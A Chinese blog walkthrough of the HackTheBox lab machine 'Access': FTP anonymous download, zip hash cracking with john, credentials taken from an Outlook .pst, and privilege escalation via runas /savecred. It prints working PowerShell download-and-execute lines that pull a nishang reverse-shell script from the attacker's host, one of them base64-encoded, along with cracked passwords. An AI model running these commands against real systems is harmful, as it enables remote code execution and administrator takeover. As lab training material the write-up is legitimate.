【HTB系列】靶机Access的渗透测试详解

版权声明:本文为博主原创文章,转载请附上原文地址。 https://blog.csdn.net/nzjdsds/article/details/88821023

介绍

https://0xrick.github.io/images/hackthebox/access/0.png

 

信息收集

首先我们用nmap探测下靶机的信息

 

nmap -sC -sV -T5 10.10.10.98  

可以看到靶机开放了21,23,80端口。

telnet后面有一个?说明nmap也不确定是否为telnet

 

这里我用msf来探测下FTP是否允许 匿名登陆

 

使用msf的/auxiliary/scanner/ftp/anonymous模块

扫描二维码关注公众号,回复: 6034216 查看本文章

 

FTP是运行匿名登陆的,那我们进行远程登陆FTP看看有什么东西

这里我用wget递归下载FTP文件

 

wget -m ftp://anonymous:[email protected] 

发现报错 无法启动PASV传输

 

那我们加个 --no-passive 使用FTP的被动模式

 

wget -m --no-passive ftp://anonymous:[email protected]

 

 

 

下载成功!

 

同样我们试下Telnet是否能匿名登陆

 

不存在匿名登陆,但是我也确定了23这个端口的却是telnet

 

接下来在访问下80端口

 

我们download下这个图片看看这个图片是否存在隐藏的信息

 

先用exiftool查看是否存在图片的其他信息

并没有什么额外的信息

 

在用strings查找下图片的二进制里面是否有字符串

strings out.jpg  

也没有发现什么额外的信息

 

那我们接下来用gobuster进行目录的爆破

1.	gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  

 

经过了挺久的时间,没爆破出什么有用的信息

 

我们去看下刚刚从FTP下载来的文件

 

先解压Engineer目录下的Access Control.Zip文件

发生了一个错误

 

还7z来进行解压

7z x Access\ Control.zip

发现ZIP是需要密码的,随便输入个密码报错

我们用7z 的l命令下的slt命令

 

7z l -slt Access\ Control.zip  

l:用于显示压缩文件的信息

Slt:属于l下的子命令用来显示压缩文件的技术信息

压缩文件使用AES-256 Deflate进行加密的

我们把密码的HASH提取出来到时候破解用

zip2john Access\ Control.zip > Access\ Control.hash

我们在看下另一个文件

是一个access的数据库文件,里面应该会出现用于解压压缩文件的密码。你可以用工具打开查看里面的数据一个一个找找到需要的密码。

 

还有一个更快捷的方法

因为密码最低就是8位的,我们用过strings方法把mdb用二进制文件的形式打开,然后只输出内容大于等于8的内容,在把这些内容输出成一个wordlist用来破解压缩文件

strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist  

strings输出的内容通过sort的-u参数去重,然后在输出到文件里面

 

然后我们利用john开始破解

破解成功,这里可能不好找到密码可以用这条命令显示破解出的密码

john Access\ Control.hash --show  

 

密码: access4u@security

 

John也会把破解了的密码保存在当前目录的~/.john/john.pot文件内

 

那接下来我们去解压压缩文件

 

解压成功!!!

 

 

我们用file看下这个.pst是什么文件

是一个outlook的个人文件夹

 

我们用readpst来读取下,然后目录下面会多出一个Access Control.mbox文件

 

我们用

less Access Control.mbox

看下内容

 

 

可以看到security的密码:4Cc3ssC0ntr0ller

我们用获得凭证去登陆telnet

 

Security:4Cc3ssC0ntr0ller

 

 

登陆成功!

 

然后CD到桌面查看user.txt即可得到user的flag

 

接下来就是怎么得到管理员权限

 

测试下powershell是否能正常工作

 

powershell正常的

 

 

那我们本地搭建一个简易的HTTP服务器放上我们的powershell反弹shell脚本,让靶机进行远程下载执行反弹一个shell

 

 

这里用nishang  这是一个基于Powershell的攻击框架

 

项目地址: https://github.com/samratashok/nishang

 

我们新建一个 www目录 然后把nishang里面需要用的脚本copy进去

cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1 

然后vi下 这个nishang.ps1

在最底下加上这行

 

Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 监听端口

 

然后我们用nc 监听9001

 

然后用python开启HTTP服务器

然后在目标靶机telnet上执行这段代码,就是远程执行powershell脚本

 

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')" 

 

之后就会反弹一个shell

 

接下来我们在上传一个脚本用来检测Windows系统上存在的可以用来提升权限的相连

 

JAWS:https://github.com/411Hall/JAWS

 

 

我们在刚刚反弹的shell中去执行这个脚本,来检测目标系统的信息

IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1') 

执行完成后会返回一系列信息,然后在这里查找有关信息,这里我只截取凭证部分

上面是电脑中存储的凭证。

 

当然你也可以用cmdkey /list 也会出现相关信息

 

在查找的过程中我在 公共用户的目录里面找到一个快捷连接

 

百度下信息

用type查看下内容,发现一些关键信息

 

Runas并且带有/savecred 

 

Runas的介绍:https://blog.csdn.net/nzjdsds/article/details/88312910

 

这个就可以成为我们的利用点

 

但是用type获得信息杂乱无章,我们需用另一种方法来获得更为详细的整洁的输出

 

这里我们用script脚本的创建快捷方式实现

$WScript = New-Object -ComObject Wscript.Shell  
$shortcut = Get-ChildItem *.lnk  
$Wscript.CreateShortcut($shortcut)  

这里WScript用来绑定Wscript.Shell的

然后Get-ChildItem *.lnk 就是跟dir差不多找出 后缀为.lnk文件(效果图如下)

 

然后我们调用Wscript的CreateShortcut函数创建快捷方式来查看里面的lnk里面的详细信息。

 

这里我要说一下就是这里创建的快捷方式是存在内存里面的,在调用这个函数的SAVE函数之前,这个快捷方式是存在内存里面的,我们只是需要这个ZKAccess3.5 Security System.lnk里面的详细工整的信息只是通过这个方式查看而已

 

 

在这里面我们可以很清楚的看到runas 并且带有savecred 参数

 

所以这边我们runas的话可以不需要用户的凭证

但是runas之后没有任何报错,但是命令也没有执行成功,应该是编码的问题

 

接下来我们主要就是在这个shell中在runas反弹一个管理员权限的shell

 

我们先在自己的Kali中监听9002,然后把我们之前用于反弹的nishang.ps1重新复制一份为nishang2.ps1并编辑下把nishang2.ps1把监听的端口改为9002

【由于靶机不是一天之内完成并写好文章的,所以自己的IP地址后来变成10.10.12.114】

 

runas /user:ACCESS\Administrator /savecred "powershell \"IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')\"" 

 

这里我换了一种格式写,发现我的python HTTP服务器出现了响应,但是9002并没有返回shell

 

在这里猜测可能是编码的问题,windows和linux采用的编码不一样,所以我们的命令需要转换成windows能够识别的编码,这里我们用iconv和base64

 

这里转码要用UTF-16LE

 

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0  

输出内容:

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=

 

然后我们执行下

runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="

然后发现9002端口得到shell说明执行成功

 

拿到root的flag

 

后来发现也可以直接在telnet中直接执行一步到位就可以不用进行编码操作很方便

runas /user:ACCESS\Administrator /savecred "powershell \"IEX(New-Object Net.WebClient).downloadString('http://10.10.15.56:8000/nisang.ps1')\"" 

猜你喜欢

转载自blog.csdn.net/nzjdsds/article/details/88821023
今日推荐